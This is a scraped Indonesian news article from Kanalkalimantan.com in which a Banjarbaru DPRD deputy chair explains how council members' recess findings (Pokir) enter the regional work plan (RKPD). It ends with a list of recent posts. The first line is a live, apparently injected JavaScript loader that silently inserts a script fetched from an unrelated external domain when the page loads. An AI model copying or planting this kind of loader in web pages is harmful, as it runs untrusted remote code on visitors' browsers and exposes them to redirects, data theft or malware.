(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Pokir Anggota Dewan Masuk RKPD


KANALKALIMANTAN.COM, BANJARBARU – Wakil Ketua DPRD Kota Banjarbaru Napsiani Samandi mengatakan hasil reses anggota dewan menjadi pokok pikiran (Pokir) yang masuk dalam Rencana Kerja Pemerintah Daerah (RKPD).

“Setiap anggota dewan melakukan reses menyerap aspirasi masyarakat di daerah pemilihan. Hasil akhirnya yang akan menjadi Pokir dan dimasukan dalam RKPD,” ujarnya di Banjarbaru, Kamis (18/8/2022).

Salah satu mekanisme yang digunakan DPRD Banjarbaru untuk menyusun pokok pikiran yakni melalui reses setiap anggota dewan melalui kunjungan yang dilakukan di daerah pemilihan.

Menurut Napsiani, kegiatan menjaring aspirasi warga di Dapil dilengkapi laporan reses yang di dalamnya tertuang usulan Pokir yang disampaikan pada rapat paripurna DPRD.

 

 

Baca juga: Belum Ada Kesepakatan, Organda Banjarbaru Larang BRT Beroperasi di Koridor 2

“Sesuai Permendagri 86 tahun 2017 pasal 178 nomor 2 menyebutkan Pokir DPRD, diselaraskan dengan sasaran dan prioritas pembangunan, serta ketersediaan kapasitas riil anggaran,” ungkapnya.

Hasil reses yang jadi Pokir DPRD diwujudkan dalam bentuk program dan kegiatan yang dimasukkan ke dalam APBD kemudian dilaksanakan SKPD.

Tidak semua aspirasi atau keinginan masyarakat dapat direalisasikan karena hasil reses disampaikan kepada Pemko yang menyinergikan dengan hasil rapat Musrenbang.

“Musrenbang juga berjenjang mulai dari tingkat kelurahan, kecamatan hingga tingkat kota yang disesuaikan dengan visi misi kepala daerah hingga masuk dalam RKPD,” ungkapnya.

Pencapaian target kinerja pada setiap program dan kegiatan merupakan tanggung jawab SKPD bersangkutan yang ditetapkan kepala daerah dalam dokumen rencana tahunan.

“Artinya, pokir DPRD tercantum dalam peraturan kepala daerah tentang RKPD, sehingga pencapaian target merupakan tanggung jawab OPD atau SKPD sebagai bagian dari eksekutif atau pemerintah,” katanya.

Baca juga: Jumpa PMR Kalsel Terbuka, Diikuti 600 Peserta Wira dan Madya Kalsel-Teng 

Pokir sering dipahami keliru karena tidak membaca aturan dan kurangnya informasi terkait peran dan fungsi anggota dewan dalam pengalokasian sumber daya pada anggaran belanja dalam APBD. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Risa

Recent Posts

Jadwal Imsakiyah Ramadhan 2026 di Kota Pontianak versi Pemerintah dan Muhammadiyah

Kementerian Agama RI melalui sidang isbat hari Selasa (17/02/2026) menetapkan 1 Ramadhan 1447 H jatuh… Read More

6 menit ago

Jadwal Imsakiyah Ramadhan 2026 di Lamandau versi Pemerintah dan Muhammadiyah

Hasil sidang isbat Kementerian Agama RI telah menetapkan 1 Ramadhan 1447 Hijriah jatuh pada hari… Read More

7 menit ago

21 Mobil Listrik Dibeli Rp5,25 Miliar, Efisiensi Pemko Banjarmasin?

Wali Kota Yamin: Mobil Dinas Konvensional Sudah Berumur, BBM-nya Boros Read More

48 menit ago

Jadwal Imsakiyah Ramadan 2026 di Kota Tarakan

Pada Sidang Isbat yang digelar hari Selasa (17/2/2026), pemerintah secara resmi menetapkan 1 Ramadan 1447… Read More

1 jam ago

Jadwal Imsakiyah Ramadan 2026 di Kota Palangkaraya

Pemerintah telah menetapkan puasa 1 Ramadan 1447 H jatuh pada hari Kamis, 19 Februari 2026… Read More

1 jam ago

Disdikbud Kalsel Perketat Pengawasan SPMB 2026

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pendidikan dan Kebudayaan (Disdikbud) Provinsi Kalimantan Selatan (Kalsel) menggelar rapat koordinasi… Read More

2 jam ago

This website uses cookies.